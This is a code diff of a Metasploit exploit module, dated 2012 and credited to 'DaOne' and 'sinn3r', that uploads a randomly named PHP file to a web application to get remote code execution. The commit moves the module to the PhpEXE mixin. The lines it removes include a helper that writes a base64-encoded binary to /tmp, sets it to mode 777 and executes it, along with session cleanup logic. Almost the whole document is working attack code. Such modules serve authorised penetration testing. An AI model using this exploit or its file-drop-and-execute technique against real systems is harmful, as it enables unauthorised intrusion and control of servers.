@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
- include Msf ::Exploit ::EXE
14
+ include Msf ::Exploit ::PhpEXE
15
15
16
16
def initialize ( info = { } )
17
17
super ( update_info ( info ,
@@ -25,8 +25,8 @@ def initialize(info={})
25
25
'License' => MSF_LICENSE ,
26
26
'Author' =>
27
27
[
28
- 'DaOne' , #Vulnerability discovery
29
- 'sinn3r' #Metasploit
28
+ 'DaOne' , # Vulnerability discovery
29
+ 'sinn3r' # Metasploit
30
30
] ,
31
31
'References' =>
32
32
[
@@ -37,15 +37,11 @@ def initialize(info={})
37
37
{
38
38
'BadChars' => "\x00 "
39
39
} ,
40
- 'DefaultOptions' =>
41
- {
42
- 'ExitFunction' => "none"
43
- } ,
44
40
'Platform' => [ 'linux' , 'php' ] ,
45
41
'Targets' =>
46
42
[
47
- [ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
48
- [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
43
+ [ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
44
+ [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
49
45
] ,
50
46
'Privileged' => false ,
51
47
'DisclosureDate' => "Sep 14 2012" ,
@@ -71,41 +67,6 @@ def check
71
67
end
72
68
73
69
74
- def get_write_exec_payload ( fname , data )
75
- p = Rex ::Text . encode_base64 ( generate_payload_exe )
76
- php = %Q|
77
- <?php
78
- $f = fopen("#{ fname } ", "wb");
79
- fwrite($f, base64_decode("#{ p } "));
80
- fclose($f);
81
- exec("chmod 777 #{ fname } ");
82
- exec("#{ fname } ");
83
- ?>
84
- |
85
- php = php . gsub ( /^\t \t / , '' ) . gsub ( /\n / , ' ' )
86
- return php
87
- end
88
-
89
-
90
- def on_new_session ( cli )
91
- if cli . type == "meterpreter"
92
- cli . core . use ( "stdapi" ) if not cli . ext . aliases . include? ( "stdapi" )
93
- end
94
-
95
- @clean_files . each do |f |
96
- print_status ( "#{ @peer } - Removing: #{ f } " )
97
- begin
98
- if cli . type == 'meterpreter'
99
- cli . fs . file . rm ( f )
100
- else
101
- cli . shell_command_token ( "rm #{ f } " )
102
- end
103
- rescue ::Exception => e
104
- print_error ( "#{ @peer } - Unable to remove #{ f } : #{ e . message } " )
105
- end
106
- end
107
- end
108
-
109
70
110
71
def upload_exec ( base , php_fname , p )
111
72
data = Rex ::MIME ::Message . new
@@ -148,17 +109,8 @@ def exploit
148
109
base = File . dirname ( "#{ target_uri . path } ." )
149
110
150
111
php_fname = "#{ Rex ::Text . rand_text_alpha ( 5 ) } .php"
151
- @clean_files = [ php_fname ]
152
-
153
- case target [ 'Platform' ]
154
- when 'php'
155
- p = "<?php #{ payload . encoded } ?>"
156
- when 'linux'
157
- bin_name = "#{ Rex ::Text . rand_text_alpha ( 5 ) } .bin"
158
- @clean_files << bin_name
159
- bin = generate_payload_exe
160
- p = get_write_exec_payload ( "/tmp/#{ bin_name } " , bin )
161
- end
112
+
113
+ p = get_write_exec_payload ( :unlink_self => true )
162
114
163
115
upload_exec ( base , php_fname , p )
164
116
end
0 commit comments